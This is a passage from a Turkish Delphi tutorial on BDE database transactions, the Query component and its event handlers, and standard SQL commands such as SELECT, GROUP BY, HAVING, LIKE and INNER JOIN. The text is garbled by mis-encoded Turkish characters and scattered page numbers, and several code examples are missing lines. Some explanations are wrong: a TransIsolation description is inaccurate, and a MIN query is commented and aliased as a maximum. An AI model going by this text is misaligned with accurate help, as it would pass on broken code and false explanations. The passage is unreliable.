sonra
tekrar
“StartTransaction”
methodu
//Tabloya yaz
begin
Database1.Commit;//uygula
end;
x Database1.Rollback
“StartTransaction” methodundan sonra “Database” nesnesi içerisinde yapılan
tüm de÷iúiklikleri iptal etmek amaçlı kullanılan komuttur. Yine bu komut
“Transaction” iúlemini bitirecektir. ùayet tekrar “Transaction” uygulanacaksa
“StartTransaction” komutu yeniden verilmelidir. De÷iúikliklerin iptal
edilmesinden sonra tabloda son durumu görmek isterseniz, tablonuzu “Refresh”
etmelisiniz.
//øptal Et
begin
Database1.Rollback;//De÷iúiklikleri iptal et
Table1.Refresh;//son durumu tabloda göster
end;
x Database1.InTransaction
“Transaction” iúlemi yokken “RoolBack” veya “Commit” komutlarını
uygularsanız uygulamanız sizi kendi hata mesajınızla uyaracaktır. Bu yüzden
belirtilen komutla “Trandsaction” iúleminin var olup olmadı÷ını kontrol edebilir,
ona göre komut iúletebilirsiniz. Özelli÷in “True” de÷erini alması “Transaction”
iúleminin halen uygulandı÷ı anlamını taúımaktadır.
//øptal Et
begin
if Database1.InTransaction=true Then
begin
Database1.Rollback;//DEöøùøKLøKLERø øPTAL ET
Table1.Refresh;
end;
end;
65
x Database1.TransIsolation
“Transaction” uygulanacak olan VeriTabanının a÷ ortamındamı yoksa lokaldemi
olup olmadı÷ını belirleyen özelli÷idir. Alabilece÷i seçenekler aúa÷ıda
verilmiútir.
TransIsolation
tiReadCommitted
tiDirtyRead
tiRepeatableRead
begin
Table1.DefaultIndex:=true;//index aktif olmalı
Database1.TransIsolation:=tiDirtyRead;//de÷iútirmeyi unutmayın
DataBase1.Connected:=true;
Table1.Open;
end;
ùimdi aúa÷ıdaki tasarımı oluúturarak verilen kodları “Unit” pencerenize
ekleyiniz.
Uygulama için formunuza bir adet “Table”, bir adet “DataSource”, bir adet
“Database”, bir adet “DataGrid”, bir adet “GroupBox”, üç adette button kontrolü
yerleútirin.
ùimdide uygulamanıza ekleyece÷iniz kod bloklarını verelim. Bu kodları gerekli
yordamlara ekleyiniz.
66
begin
Table1.DefaultIndex:=true;//index aktif olmalı
Database1.TransIsolation:=tiDirtyRead;
DataBase1.Connected:=true;//ba÷lan
Table1.Open;//kodla yapın
end;
//Baúlat
begin
Database1.StartTransaction;//Transactionı baúlat
Form2.Caption:='Transaction Açık';
end;
//Tabloya yaz
var
deger:Integer;
begin
if Database1.InTransaction Then//transaction varsa
begin
Database1.Commit;//uygula
ShowMessage('Tüm De÷iúiklikler Kaydedildi');
Form2.Caption:='Transaction Kapalı';
end
else
begin
deger:=Application.MessageBox('Transaction Kapalı Baúlatalımmı',
'Transaction Baúlat',MB_YESNO);
if deger=mrYes Then
Database1.StartTransaction;//Tekrar Baúlat
end;
end;
//øptal Et
var
deger:Integer;
begin
if Database1.InTransaction=true Then
begin
Database1.Rollback;//Tüm de÷iúiklikler iptal
Table1.Refresh;//Verileri yenile
67
ShowMessage('De÷iúiklikler øptal Edildi');
Form2.Caption:='Transaction Kapalı';
end
else
begin
deger:=Application.MessageBox('Transaction Kapalı Baúlatalımmı',
'Transaction Baúlat',MB_YESNO);
if deger=mrYes Then
Database1.StartTransaction;//Tekrar Baúlat
end;
end;
Uygulamanızı çalıútırdıktan sonra “Baúlat” dü÷mesine tıklayın (Transaction
øúlemi baúlatılacaktır). Ardından tablonuzdaki kayıtlardan arka arkaya bir kaç
tanesini silin (sildi÷iniz kayıtlar Database nesnesine kaydedildi). Sildi÷iniz
kayıtları geri almak için “øptal Et” dü÷mesini, Tablonuzdan da silinmesi için
“Tabloya Yaz” dü÷mesini tıklayabilirsiniz.
68
Query Kontrolü:
Veri kayna÷ına ba÷lantı yapabilmek için úu ana kadar hep “Table” kontrolünü
kullandık. Fakat “Table” kontrolü veritabanı ba÷lantıları için tek seçenek
de÷ildir.
Dilerseniz
“Query”
kontrolüylede
tablolarınıza
kolayca
ba÷lanabilirsiniz. “Query” kontrolü uygulamalarınızda sizlere çok daha fazla
esneklik sa÷layacaktır. Yinede ba÷lantı seçene÷i tamamen sizlere kalmıútır.
“Query” kontrolüyle yapaca÷ınız ba÷lantıdan sonra tablonuza yine kayıt
girebilir, aynı úekilde de÷iúiklikler yapabilirsiniz (Bu iúlem her zaman mümkün
olmayabilir. Özellikle birden fazla tabloyu birleútirerek bir sorgu
oluúturduysanız kayıt iúlemlerinizi yapmanıza izin vermeyebilir. Çok da
mantıklıdır).
Aúa÷ıdaki adımları izleyerek “Query”
ba÷lanabilece÷inizi ö÷renebilirsiniz.
kontrolü
ile
Tablonuza
nasıl
Birinci adımda formunuza bir adet “ScrollBox” kontrolü yerleútirip
“Align” özelli÷ine “alClient” de÷erini aktarın (Ba÷lantı için zorunlu
de÷ildir. Fakat formunuza çok estetik bir görünüm kazandıracaktır).
økinci adımda formunuza bir adet “BDE” Yapra÷ında yer alan “Query”
kontrolünü sürükleyip bırakın.
“Query” kontrolünü seçip “DataBaseName” özelli÷ine tablonuzun
bulundu÷u klasörü referans gösteren “Alias” isminizi aktarın.
Dördüncü adımda “Object Inspector” penceresinde yer alan “SQL”
özelli÷ine tıklayarak açılan editore sorgu komutlarınızı girin.
“OK” Dü÷mesine bastıktan sonra “Query” kontrolünüzün “Object
Inspector” penceresinden (kodlada yapabilirsiniz) “Active” özelli÷ini true
yapın.
69
Formunuza “DataAccess” Yapra÷ında yer alan “DataSource” nesnesinden
bir adet yerleútirip “DataSet” özelli÷ine “Query1” nesnesini aktarın.
Yedinci adımda formunuza bir adet “DataControls” yapra÷ında yer alan
“DataGrid” nesnesi yerleútirip “DataSource” özelli÷ine “DataSource1”
nesnesini aktarın. Artık uygulamanızı çalıútırabilirsiniz.
Tüm kayıtların “DataGrid” nesnesine aktarıldı÷ını göreceksiniz.
x Query1.DatabaseName
Tablonuzun bulundu÷u klasörü referans gösteren “Alias” ismini bu özelli÷e
aktarabilirsiniz. Bu sayede o klasörde bulunan tüm tablolar kolayca
sorgulanabilecektir (Klasör yolunuda verebilirsiniz ama siz hep Alias ismini
kullanın).
begin
Query1.DatabaseName:='gazi';//Alias ismini aktarın
end;
x Query1.SQL.Add
Sorgu komutunuzu aktarabilece÷iniz methoddur. Burada sorgulamak için
“DataBaseName” özelli÷ine aktardı÷ınız alias içerisinde bulunan tüm tablo
isimlerini kullanabilirsiniz (birden fazla tabloyu iç içe sorgulayabilirsiniz).
“Query” kontrolünüz deki “SQL” sorgusunda yapaca÷ınız her de÷iúiklikten
sonra verileri izleyebilmek için “Query1.Open” satırını kullanmalısınız. Aksi
takdirde düzgün bir “SQL” komutu yazsanız bile sonuçları “DataGrid”
nesnesinde göremezsiniz.
70
begin
Query1.DatabaseName:='gazi';
Query1.SQL.Add('Select * From servis');//sorgu komutları
Query1.Open;
end;
x Query1.Open
“Query” kontrolü içerisinde yer alan kayıtları kullanıma açmayı sa÷layan
methoddur. Kontrol sorgu komutlarında yapılan her de÷iúiklikten sonra
kullanılması gerekecektir (sadece zamanını iyi belirlemelisiniz).
begin
Query1.Open;
end;
x Query1.RequestLive
Varsayılan olarak bu de÷er “false” dır. Yani “Query” kontrolünden kayıt girme
iúlemi yapılamaz. ùayet bu özelli÷e “True” de÷erini aktarırsanız, tablonuza yeni
kayıt ekleyebilir, kayıt de÷iútirebilirsiniz (bilhassa birden fazla tabloyla
çalıúıyorsanız bu özelli÷e true aktarsanız bile kayıt giremiyebilirsiniz).
begin
Query1.RequestLive:=true;//kayıt iúlemlerine izin ver
end;
x Query1.Close
Açık olan “Query” kontrolünü kapatmak için kullanılan methoddur. ùayet
“DataGrid” nesnesi içeriklerini “Query” den alıyorsa, bu komuttan sonra hiç bir
kaydı göstermeyecektir.
begin
Query1.Close;//DataGrid hiç bir kaydı artık göstermez
end;
71
Query Kontrolüne Ait Yordamlar:
Query kontrolüyle iúlem yaparken kontrolün kullandı÷ı bir çok tetikleyici ile
çalıúabilirsiniz. Aúa÷ıda bu tetikleyicilere de÷inilmektedir.
x AfterCancel Yordamı
“DBNavigator” kontrolündeki (kodla oluúturmuú ta olabilirsiniz) Cancel
dü÷mesinin tıklanılması durumunda iúleyen bir yordamdır.
procedure TForm1.Query1AfterCancel(DataSet: TDataSet);
begin
ShowMessage('øúlemi øptal Ettiniz');
end;
x AfterClose Yordamı
“Query” kontrolü ile ba÷lantı koptu÷u anda iúleyen bir yordamdır.
“Query1.Close” komutu bu yordamı otomatik olarak iúletecektir.
procedure TForm1.Query1AfterClose(DataSet: TDataSet);
begin
ShowMessage('Ba÷lantıyı Kapattınız');
end;
x AfterDelete Yordamı
“Query” kontrolünden bir kaydın silinmesi durumunda otomatik olarak iúleyen
bir yordamdır.
procedure TForm1.Query1AfterDelete(DataSet: TDataSet);
begin
end;
x AfterEdit Yordamı
“Query” Edit moduna alındı÷ı anda (Navigator kontrolündeki Edit dü÷mesine
basılırsa) otomatik olarak iúleyen bir yordamdır. Bu yordamın iúletilmesi için
“Query1.Edit” komutunun verilmesi yeterli olacaktır.
72
procedure TForm1.Query1AfterEdit(DataSet: TDataSet);
begin
ShowMessage('Kayıt De÷iútirme Moduna Geçtiniz);
end;
x AfterInsert Yordamı
Kayıt ekleme iúlemi yapıldı÷ı anda otomatik olarak iúleyen bir yordamdır.
procedure TForm1.Query1AfterInsert(DataSet: TDataSet);
begin
ShowMessage('Kayıt Eklemek østediniz');
end;
x AfterPost Yordamı
Kaydet dü÷mesine basıldıktan sonra iúleyen yordamdır.
procedure TForm1.Query1AfterPost(DataSet: TDataSet);
begin
ShowMessage('Kayıt øúlemi Baúarıyla Tamamkandı');
end;
x AfterRefresh Yordamı
“Refresh” dü÷mesine tıklanıldıktan sonra otomatik olarak iúleyen bir yordamdır.
procedure TForm1.Query1AfterRefresh(DataSet: TDataSet);
begin
ShowMessage('Kayıtlar Güncellendi');
end;
x OnCalcFields Yordamı
“Query” kontrolünde sütunları hesaplatmak için kullanılan yordamdır. Table
kontrolünde bu yordama örnek verilmiútir. Bu yüzden tekrar
örneklendirilmeyecektir.
Örnek verilen yordamların “Before” ile baúlayanları da “After” ile aynı zamanda
tetiklenmektedir. Sade birincisi iúlem tamamlanmadan önce di÷eri ise
tamamlandıktan sonra iúlemektedir.
73
Wizard Kullanarak Query Kontrolüyle Tabloya Ba÷lanmak:
Aúa÷ıdaki adımları izleyerek “Query” kontrolü sayesinde tablolarınıza
ba÷lanabilirsiniz.
“File->New->Other” seçeneklerini seçin.
Açılan “New Item” penceresinden “Business” yapra÷ında yer alan
“Database FormWizard” iconuna çift tıklayın. Aúa÷ıdaki pencere
açılacaktır.
Bu pencerede “DataSet Options” kısmından “Create a form using
Tquery” objects seçene÷ini iúaretleyip Next dü÷mesine tıklayın.
Yeni açılan pencereden “SERVIS” tablonuzu bularak “Next” dü÷mesine
tuklayın.
Buradan sonraki adımları “Table” kontrolünde yaptı÷ımız úekilde
tamamlayıp “Finish” buttonuna tıklayın.
Son adımdan sonraki ekran görüntünüz yukarıdaki úekilde gerçekleúecektir.
74
BÖLÜM 2
STANDART SQL KOMUTLARI
75
76
SQL Komutları:
Bu bölümde sizlere Veri Tabanı iúlemlerinde en çok kullanılan komutlardan
bahsedece÷im. Komutlar Standart SQL Komutları olarak adlandırılmakta olup
neredeyse bütün dillerde aynı kalıp yapısıyla kullanılmaktadırlar.Hatırlatmak
isterim “SQL” Komutlarını ne kadar iyi kullanabilirseniz, o derece iyi bir Veri
Tabanı programcısı sayılırsınız.
Aúa÷ıdaki tabloda tüm “SQL” Komutları için kullanaca÷ımız satırlar verilmiútir.
ùayet mümkünse aynısını paradox tablosu olarak oluúturunuz.
MAGAZAADI SERVISTARIHI FIRMA
AÇIKLAMA TUTAR
MIGROS
01/02/2003
KLIMA
150000000,00
GIMA
MIGROS
DIA
02/03/2003
02/05/2003
03/04/2003
TESISAT
KLIMA
HAVALAND.
250000000
125000000
250000000
DIA
MIGROS
GURALLAR
05/04/2003
05/04/2003
06/08/2003
TESISAT
KLIMA
KLIMA
100000000
150000000
250000000
GURSOYLAR
04/07/2003
TESISAT
100000000
UGUR
MUHENDISLIK
ALPSAN
ALPYAPI
UGUR
MUHENDISLIK
ALPSAN
ALPYAPI
UGUR
MUHENDISLIK
ALPYAPI
Örnekler içinde daha önceden oluúturulmuú olan “gazi” aliası içerisindeki
“SERVIS” Tablosu kullanılacaktır.
Tüm Kayıtları Listelemek:
Tablodaki tüm kayıtları listelemek için aúa÷ıda verilen SQL Komutlarını
kullanabilirsiniz.
Aúa÷ıdaki kodu formunuzun gerekli yordamına ekleyiniz.
77
begin
Query1.Close;
Query1.SQL.Add('Select * From SERVIS');
Query1.Open;
end;
Burada yapılan bir seçme sorgusudur, yani tablodan uygun kayıtların sökülüp
alınması olayıdır. Bu iúlem için “Select” ifadesiyle baúlayan bir komut satırına
ihtiyaç duyulacaktır.
Sadece østenilen Sütunları Listelemek:
Tüm sütunları listelemek istemiyorsanız (“*”) karakterini kullanamazsınız. Bu
karakterin yerine listelemek istedi÷iniz sütun isimlerini araya “,” koyarak
yanyana yazmanız gerekecektir.
//østenilen sütunları listele
begin
Query1.Close;
Query1.SQL.Add('Select MAGAZAADI,FATURATUTARI From SERVIS');
Query1.Open;
end;
Programı çalıútırırsanız sadece yazmıú oldu÷unuz sütunlar listelenecektir.
78
Yeni Sütun Baúlıkları Belirlemek:
Tabloda sütunlar oluúturulurken isimlendirmede genellikle kısıtlamalar
uygulanır. Haliyle DataGrid içerisindeki gösterimde kötü bir görünüme sebep
olacaktır. Bu yüzden oluúturulan sütunlara yeniden isim vermek zorunda
kalacaksınız. Aúa÷ıda bu iúlem örneklendirilmektedir.
begin
Query1.Close;
Query1.SQL.Add('Select MAGAZAADI Magaza_Adi,FATURATUTARI
Tutar From SERVIS');
Query1.Open;
end;
Yeni Sütun Eklemek:
Bazı durumlarda tablonuzda var olmayan fakat di÷er sütunlardan
hesaplanabilecek sütunlar oluúturmak zorunda kalabilirsiniz. Bu tip durumlarda
aúa÷ıdaki úekilde bir sorgu komutu kullanmalısınız.
begin
Query1.Close;
Query1.SQL.Add('Select MAGAZAADI,
FATURATUTARI,FATURATUTARI*0.15 KDV,FATURATUTARI*1.15
TOPLAM From SERVIS');
Query1.Open;end;
79
Uygulamayı çalıútırırsanız aúa÷ıdaki úekilde tablonuzda yer almayan iki
sütununuz DataGrid nesnenizde gözükecektir.
Dilerseniz bu yöntemle iki (vaya daha fazla) string sütunu da yanyana
yazdırabilirsiniz.
Sıralama Yapmak (Order By):
Tablolarınızdaki seçme sorgularının bir sütuna göre sıralı bir úekilde
gözükmesini isterseniz o zaman aúa÷ıdaki úekilde bir komut dizisi
kullanmalısınız.
Sorgulama sonucuna dikkat edecek olursanız, tablo kayıtları “MAGAZAADI”
sütununa göre “A-Z” ye do÷ru sıralı halde karúınıza gelecektir. Bu tür sıralatma
iúlemlerini tablo nesnelerinde index ler yapmakta olup, “Query” kontrolü
kullanırsanız “Order By” komutuna ihtiyacınız olacaktır.
80
//Ma÷aza Adına Göre sırala
begin
Query1.Close;
Query1.SQL.Add('Select * From SERVIS Order By MAGAZAADI');
Query1.Open;
end;
Dilerseniz “Z-A” ya do÷ru bir sıralamada yaptırabilirsiniz. O zaman sorgu
komutlarınızı aúa÷ıdaki úekilde de÷iútirmeniz gerekecektir.
begin
Query1.Close;
Query1.SQL.Add('Select * From SERVIS Order By MAGAZAADI DESC');
Query1.Open;
end;
“Order By” komutundan sonra “DESC” bildirisini kullanırsanız sıralatmanın
tersten yapılaca÷ını programa bildirmiú olursunuz. Bu parametre yazılmadı÷ı
zaman Delphi “Asc” parametresini varsayılan de÷er olarak kabul edecek,
küçükten büyü÷e veya “A-Z” ye do÷ru bir sıralama yaptıracaktır.
Aynı örnek için úöyle bir senaryo türetelim. Ma÷aza isimleri aynı olan
ma÷azaları da ikinci olarak servis tarihine göre büyükten küçü÷e do÷ru sıralasın.
Kodu aúa÷ıdaki úekilde de÷iútiriniz.
81
//økili Sıralatma
begin
Query1.Close;
Query1.SQL.Add('Select * From SERVIS Order By MAGAZAADI
DESC,SERVISTARIHI');
Query1.Open;
end;
Program öncelikle tüm tabloyu ma÷aza adına göre sıralar (Tersten). Daha sonra
“Order By” ile belirtilen ikinci parametreye göre ma÷aza adı aynı olan kayıtları
Servis Tarihine göre küçükten büyü÷e do÷ru sıralayacaktır.
Aynı Kaydı Birkere Listelemek(Distinct):
Sorgunuzda göstermek istedi÷iniz sütun de÷erlerinin tamamının aynı olması
durumunda, bir tanesini yazdırmak için kullanaca÷ınız komut “Distinct”
komutudur. Hatırlatalım gösterilecek olan sütunlardan bir tanesi “Primary veya
Unique” index özelli÷ine sahipse zaten böyle bir durumun oluúmasına imkan
yoktur.
“Distinct” komutunu Select ifadesinden hemen sonra koymalısınız. Rasgele bir
yerde belirtme úansınız yoktur.
Aúa÷ıdaki örnek sorgulama da “MAGAZAADI” ile “SERVISTARIHI” aynı
olan kayıtlar sadece bir kere yazdırılmaktadır.
82
//Aynı Kaydı Bir kere Yaz
begin
Query1.Close;
Query1.SQL.Add('Select Distinct MAGAZAADI,GIDENFIRMA From
SERVIS');
Query1.Open;
end;
Sorguda listelenmeyen hücre de÷erlerindeki eúitli÷in “Distinct” komutu için bir
önemi yoktur.
Matematiksel Sorgu Komutları:
ùimdi sizlere matematiksel hesap yaptırabilece÷iniz SQL komutlarından
behsedece÷im.
Sütundaki En Yüksek De÷eri Hesaplamak(Max):
Tablonuzdaki bir sütuna ait en yüksek de÷eri hesaplamak için “Max”
komutundan faydalanmaktayız. Aúa÷ıda bu komuta ait örneklendirme
gerçekleútirilmiútir.
//en yüksek maaúı bul
begin
83
Query1.Close;
Query1.SQL.Add('Select MAX(FATURATUTARI) MAXIMUM_MIKTAR
From SERVIS');
Query1.Open;
end;
Programı çalıútırırsanız yukarıda ki pencerede görüldü÷ü gibi sadece tek bir
hücre de÷erinden oluúan sorgu sonucunu görebilirsiniz.
Sütundaki En Küçük De÷eri Bulmak(Min):
Tablonuzdaki bir sütuna ait en küçük de÷eri hesaplamak için “Min” komutundan
faydalanmaktayız. Aúa÷ıda bu komuta ait örneklendirme gerçekleútirilmiútir.
//en yüksek maaúı bul
begin
Query1.Close;
Query1.SQL.Add('Select MIN(FATURATUTARI) MAXIMUM_MIKTAR
From SERVIS');
Query1.Open;
end;
Programı çalıútırırsanız aúa÷ıda ki pencerede görüldü÷ü gibi sadece tek bir hücre
de÷erinden oluúan sorgu sonucunu görebilirsiniz. Bu de÷er o sütuna ait
minimum de÷ere sahiptir.
84
Sütun Toplamını Bulmak(Sum):
Sayısal içerikli sütunlara ait de÷erleri toplatmak için kullanılan SQL
Komutudur. Aúa÷ıda bu komuta ait örneklendirme yapılmaktadır.
begin
Query1.Close;
Query1.SQL.Add('Select SUM(FATURATUTARI) FATURA_TOPLAMI
From SERVIS');
Query1.Open;
end;
85
Sütun Ortalamasını Hesaplatmak(Avg):
Sayısal içerikli sütunlara ait de÷erlerin ortalamasını hesaplamak için kullanılan
SQL Komutudur. Aúa÷ıda bu komuta ait örneklendirme yapılmaktadır.
begin
Query1.Close;
Query1.SQL.Add('Select AVG(FATURATUTARI) ORTALAMA_TUTAR
From SERVIS');
Query1.Open;
end;
Kayıt Sayısını Bulmak(Count):
Tablonuzdaki kayıt sayısını (veya kriterinize uyan kayıt sayısını)ö÷renebilmek
için kullanabilece÷iniz sorgu komutudur.
begin
Query1.Close;
Query1.SQL.Add('Select COUNT(MAGAZAADI) KAYIT_SAYISI From
SERVIS');
Query1.Open;
end;
86
Gruplandırma Yapmak(Group By):
Aynı ma÷azaya yapılmıú olan servislerin tamamını tek kalemde göstermek için
kullanılabilecek olan yapıdır. Gruplandırma iúlemini yaparken dikkatli olmanızı
mantıksız gruplandırma iúlemleri yapmamanızı tavsiye ederim.
begin
Query1.Close;
Query1.SQL.Add('Select MAGAZAADI,SUM(FATURATUTARI)
MAGAZA_TOPLAMI From SERVIS Group By MAGAZAADI');
Query1.Open;
end;
87
Sorgu sonucuna dikkat edecek olursanız, gerçekten de tüm ma÷azalara yapılmıú
olan servis miktarları tek kalemde do÷ru bir úekilde hesaplattırılıp yazdırılmıútır.
Gruplandırılmıú Sütunlara Koúul Koymak(Having):
Yukarıdaki tablo için, amiriniz sizden toplam fatura tutarı içinde bir kriter
belirleyip sonucu ona göre listelemenizi istese ne yaparsınız. SQL sorguları için,
gruplandırılmıú sorgulara koúul koymak ancak “Having” komutuyla
gerçekleútirilebilmektedir. Aúa÷ıda bu husus örneklendirilmektedir.
begin
Query1.Close;
Query1.SQL.Add('Select MAGAZAADI,SUM(FATURATUTARI)
MAGAZA_TOPLAMI From SERVIS Group By MAGAZAADI Having
Sum(FATURATUTARI)>150000000');
Query1.Open;
end;
Örnekte de görüldü÷ü gibi “Having” yapısı sayesinde gruplandırılarak
oluúturulmuú olan sorgu sonucuna kolayca koúul konulabilmektedir. Yukarıdaki
iki sonucu karúılaútıracak olursanız, grup toplamı 150.000.000 TL den az
olanların ikinci raporda listelenmedi÷ini göreceksiniz. Bu komutlar arayıp ta
bulamayaca÷ınız türden korkunç derecede etkili yapılardır. Bu yüzden
kullanımına ait mantı÷ı lütfen dikkatlice takip ediniz. Hatırlatmakta fayda var
Gruplama yapmadan asla “Having” yapısını kullanamazsınız. Önce “Group By”
komutu ile tabloyu gruplandırın, ardından “Having” komutunu kullanarak
koúulunuza uyan kayıtlarınızı listeletin.
88
Sorguya Koúul Koymak(Where):
Oluúturaca÷ınız sorguya satır bazlı koúul koymak için kullanılan “SQL”
Komutudur. Sanıyorum en çok kullanaca÷ınız (Select ten sonra) komut bu
olacaktır. Sizden istenecek olan sadece “MIGROS” ma÷azasına ait kayıtları,
veya úu miktarın üzerindeki kayıtları listeleme iúlemini gerçekleútirebilece÷iniz
komuttur. Aúa÷ıda bu komuta ait örneklendirmeler yapılmaktadır.
//Kriter koy
begin
Query1.Close;
Query1.SQL.Add('Select * From SERVIS Where
MAGAZAADI="MIGROS"');
Query1.Open;
end;
Sorgu sonucuna dikkat edecek olursanız sadece “MIGROS” Ma÷azalarına
yapılmıú olan servislerin listelendi÷ini göreceksiniz. ùayet koúulu sayısal bir veri
içeren sütuna koyacaksanız o zaman kodunuzu aúa÷ıdaki úekilde
de÷iútirmelisiniz.
begin
Query1.Close;
89
FATURATUTARI>=80000000');
Query1.Open;
end;
Aynı Anda Birden Fazla Koúulu Sa÷lamak(In):
Önceki tablomuz için ma÷aza adı “MIGROS” ve fatura tutarı “125.000.000” den
büyük olanları listelemeye çalıúalım. Dikkat edin iki úartın ikiside sa÷lanmak
zorunda olacaktır.
begin
90
Query1.Close;
Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI="MIGROS"
and FATURATUTARI>=80000000');
Query1.Open;
end;
Kriterler arasına “and” operatörü koyarak istedi÷iniz kadar úart
belirleyebilirsiniz. ùayet bu iúlem sizin için sıkıcı olursa, ve tek sütun için birden
fazla koúul koyacaksanız, aúa÷ıdaki kodlamayı da kullanabilirsiniz.
begin
Query1.Close;
in("MIGROS","DIA")');
Query1.Open;
end;
MAGAZAADI
“In” Komutunu ve araya “,” karakterini koyarak aynı sütun için istedi÷iniz kadar
kriteri yanyana belirtebilirsiniz. Delphi sorgulamada hepsine dikkat edecektir.
Aynı Anda Birden Fazla ùartın Sa÷lanmaması(Not In):
Bu sefer de ma÷aza adı “MIGROS” ile “DIA” olmayanları listelemeye
çalıúalım. “SQL” Sorgunuz aúa÷ıdaki úekilde olmalıdır. Tek de÷iútirece÷iniz
bölüm “In” yerine “Notin” komutunu koymak olacaktır.
91
begin
Query1.Close;
Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI Not
in("MIGROS","DIA")');
Query1.Open;
end;
Programı çalıútırırsanız yukarıdaki pencerede gözüktü÷ü gibi içerisinde
“MIGROS” ve “DIA” ma÷azalarına yapılan servislerin dahil edilmedi÷i bir
raporla karúılaúırsınız.
ùartlardan Sadece Bir Tanesinin Yeterli Olması(Or):
Belirtece÷iniz kriterlerden sadece bir tanesinin do÷ru olmasının (en az bir
tanesinin) yeterli oldu÷u sorgu komutudur. Kullanımına ait örneklendirme
aúa÷ıda verilmektedir.
begin
Query1.Close;
Query1.SQL.Add('Select
*
From
SERVIS
MAGAZAADI="MIGROS" or MAGAZAADI="DIA"');
Query1.Open;
end;
92
Where
Sonuca dikkat edecek olursanız ma÷aza adı “MIGROS” veya “DIA” olan
ma÷azaların tamamı listelenmiútir.
Aralık Sorgulamak(Between):
Aúa÷ıdaki yöntemlerle bir sütuna ait aralık de÷erine göre sorgulama
yapabilirsiniz.
Programa ait SQL Sorgusu aúa÷ıda verilmektedir.
begin
Query1.Close;
93
FATURATUTARI>=85000000 AND FATURATUTARI<=150000000');
Query1.Open;
end;
Aynı iúlevi gerçekleútiren kodu aúa÷ıdaki úekilde de yazdırabilirsiniz.
begin
Query1.Close;
Query1.SQL.Add('Select * From SERVIS Where FATURATUTARI
Between 85000000 AND 150000000');
Query1.Open;
end;
øç øçe Select øfadesi Kullanmak:
Select ifadeleri istenirse iç içe kullanılabilmektedir (belli bir mantık
çerçevesinde). Daha önceki SQL komutlarını kullanarak “MAX” fatura tutarını
hesaplatmıútık. ùimdi ise “MAX” Fatura tutarının yapıldı÷ı ma÷azaya ait kaydı
belirlemeyi deneyece÷iz. Aúa÷ıda bu husus örneklendirilmektedir.
begin
Query1.Close;
Query1.SQL.Add('Select * From SERVIS Where FATURATUTARI=(Select
Max(FATURATUTARI) From SERVIS)');
Query1.Open;
end;
94
ùimdi de aynı mantı÷ı kullanarak, ortalama fatura tutarının altındakileri
listeletelim.
Sütun øçerisinde Arama Yapmak(Like):
Aranacak içeri÷in çok uzun olması durumunda, veya içeri÷in tam olarak
hatırlanamaması gibi durumlarda kullanmanız gereken “SQL” komutudur.
Aúa÷ıdaki örnekler tüm kullanım çeúitlerine de÷inmektedir.
begin
Query1.Close;
Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI Like
"MIGROS"');
Query1.Open;
end;
95
Yukarıdaki kriterin MAGAZAADI=”MIGROS” tan hiç bir farkı yoktur. Sadece
“MIGROS” ma÷azalarını listelemek için kullanılır. ùayet sorguyu aúa÷ıdaki
úekilde joker karakter kullanarak de÷iútirirseniz, o zaman olay çok farklı bir
durum alacaktır. Örne÷i dikkatlice inceleyiniz.
begin
Query1.Close;
"G%"');
Query1.Open;
end;
Sonuca dikkat edin “G” ile baúlayan tüm ma÷aza servisleri sorguda
gözükmektedir.
ùayet hücre de÷erinin herhangi bir parçasına göre aratma yaptıracaksanız o
zaman da sorguya ait kodunuzu aúa÷ıdaki úekilde de÷iútirmeniz gerekecektir.
begin
Query1.Close;
"%G%"');
Query1.Open;
end;
96
Sorguda “Like” ile kullanılan kritere dikkat edin, içerisinde “G” harfi olan tüm
ma÷aza servisleri listelenmektedir (baúta veya sonda olması önem arz
etmemektedir).
Burada sadece karakter aratması yaptırmak zorunda de÷ilsiniz Dilerseniz daha
de÷iúik úekilde “Like “%MIG%”” yazıp string parçasıda arattırabilirsiniz.
øki Tabloyu Aynı Anda Sorgulamak:
Tek bir sorgu içerisinde birden fazla tablo verisini birleútirmeniz mümkündür.
Dikkat etmeniz gereken bir kaç püf noktası olacak, úimdi bu noktalara
dikkatinizi çekmek istiyorum.
Birincisi birden fazla tabloyu sorgulayaca÷ınız için sütun isimlerini, baú
taraflarına tablo ismini yazarak belirtmelisiniz.
Tablo ismiyle sütun ismi arasında “.” Karakteri kullanmalısınız.
“MAGAZA.MAGAZAADI” úeklinde yapılacak olan bildirim, Ma÷aza
tablosundaki ma÷aza adı sütununu ifade edecektir.
“From” komutundan sonra sorguda kullandı÷ınız tüm tablo isimlerini
araya “,” koyarak tek tek belirtmelisiniz. Aksi takdirde veri arayaca÷ı
tablolarda problem yaúayacaktır.
Son adım olarak koúul kısmında, tablolar arasında iliúkili iki sütunu tablo
adlarıyla beraber belirtmeniz gerekecektir.
Aúa÷ıdaki sorgulamada, “MAGAZA” tablosundaki sütunlar ile “SERVIS”
tablosundaki sütunlar arasından seçim yapılmakta, iki tablo arasında
“MAGAZAADI” sütun de÷erleri eúleútirilerek aradaki ba÷lantı sa÷lanmaktadır.
Uygulamaya ait sorgu sonucu ile sorgu komutları aúa÷ıda verilmektedir.
97
//Birden fazla tabloyu sorgulamak
begin
Query1.Close;
Query1.SQL.Add('Select MAGAZA.MAGAZAADI, MAGAZA.ADRES,
MAGAZA.SEHIR,SERVIS.SERVISTARIHI,SERVIS.FATURATUTARI From
MAGAZA,SERVIS Where
MAGAZA.MAGAZAADI=SERVIS.MAGAZAADI');
Query1.Open;
end;
Sonuç penceresinde görüldü÷ü gibi ilk üç sütun “MAGAZA” Tablosundan son
iki sütun da “SERVIS” tablosundaki verilerden elde edilmektedir. Aradaki
ilúkiyi belirleyen sütun ismi ise “MAGAZAADI” sütunu olmaktadır.
Inner Join Komutu øle Koúul Koymak:
Bu komut ile farlklı iki tablo içerisinde koúul sutunları ortak olan alanları
listelemek için kullanılır.
begin
Query1.Close;
Query1.SQL.Add('Select SERVIS.MAGAZAADI,SERVIS.SERVISTARIHI,
SERVIS.FATURATUTARI From SERVIS INNER JOIN MAGAZA
ON(MAGAZA.MAGAZAADI= SERVIS.MAGAZAADI)');
Query1.Open;
end;
98
Yukarıdaki SQL komutları iúletildikten sonra tablo görüntünüz aúa÷ıdaki úekilde
gerçekleúecektir.
Kayıtlara dikkat edecek olursanız, listelenen sütunların “SERVIS” tablosuna ait
olduklarını hemen farlk edeceksiniz. Peki ama “SERVIS” tablosundaki hangi
kayıtlar listelenmiútir. Bu úart “Inner Join” komutundan sonraki bölümde
belirtilen “MAGAZA” tablosundaki ma÷aza isimlerine ait servis bilgileri olarak
gerçekleúecektir.
